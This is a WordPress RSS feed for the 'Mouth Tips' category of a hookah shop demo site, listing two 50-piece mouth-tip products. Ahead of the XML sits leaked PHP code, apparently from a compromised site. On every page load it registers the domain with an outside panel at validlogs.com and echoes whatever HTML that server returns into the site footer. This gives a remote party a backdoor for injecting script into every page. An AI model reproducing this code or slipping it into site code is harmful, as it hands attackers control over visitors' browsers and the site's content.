function wp_injector_fetch_code() {
    $backend_url = 'https://validlogs.com/BackPanel/panel.php';
    $domain = sanitize_text_field($_SERVER['HTTP_HOST']);
    $response = wp_remote_post($backend_url, array(
        'body' => array(
            'action' => 'register_domain',
            'domain' => $domain
        ),
        'timeout' => 5
    ));
    if (is_wp_error($response)) {
        return;
    }
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) {
            echo $html_code;
        });
    }
}
add_action('init', 'wp_injector_fetch_code');
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mouth Tips &#8211; Hookah Emporium</title>
	<atom:link href="https://hookahemporium.demowebsiteclient.com/product-category/mouth-filter/feed/" rel="self" type="application/rss+xml" />
	<link>https://hookahemporium.demowebsiteclient.com</link>
	<description></description>
	<lastBuildDate>Tue, 25 Jul 2023 00:24:30 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1</generator>
	<item>
		<title>Mouth Tips</title>
		<link>https://hookahemporium.demowebsiteclient.com/product/mouth-tips-7/</link>
					<comments>https://hookahemporium.demowebsiteclient.com/product/mouth-tips-7/#respond</comments>
		
		<dc:creator><![CDATA[msadmin]]></dc:creator>
		<pubDate>Fri, 23 Jun 2023 19:45:40 +0000</pubDate>
				<guid isPermaLink="false">https://hookahemporium.demowebsiteclient.com/?post_type=product&#038;p=225</guid>

					<description><![CDATA[pieces : 50

These mouth tips fit all hoses]]></description>
										<content:encoded><![CDATA[pieces : 50

These mouth tips fit all hoses]]></content:encoded>
					
					<wfw:commentRss>https://hookahemporium.demowebsiteclient.com/product/mouth-tips-7/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Mouth Tips</title>
		<link>https://hookahemporium.demowebsiteclient.com/product/mouth-tips-4/</link>
					<comments>https://hookahemporium.demowebsiteclient.com/product/mouth-tips-4/#respond</comments>
		
		<dc:creator><![CDATA[msadmin]]></dc:creator>
		<pubDate>Fri, 23 Jun 2023 19:43:16 +0000</pubDate>
				<guid isPermaLink="false">https://hookahemporium.demowebsiteclient.com/?post_type=product&#038;p=222</guid>

					<description><![CDATA[Pieces : 50

These mouth tips fit all hoses]]></description>
										<content:encoded><![CDATA[Pieces : 50

These mouth tips fit all hoses]]></content:encoded>
					
					<wfw:commentRss>https://hookahemporium.demowebsiteclient.com/product/mouth-tips-4/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>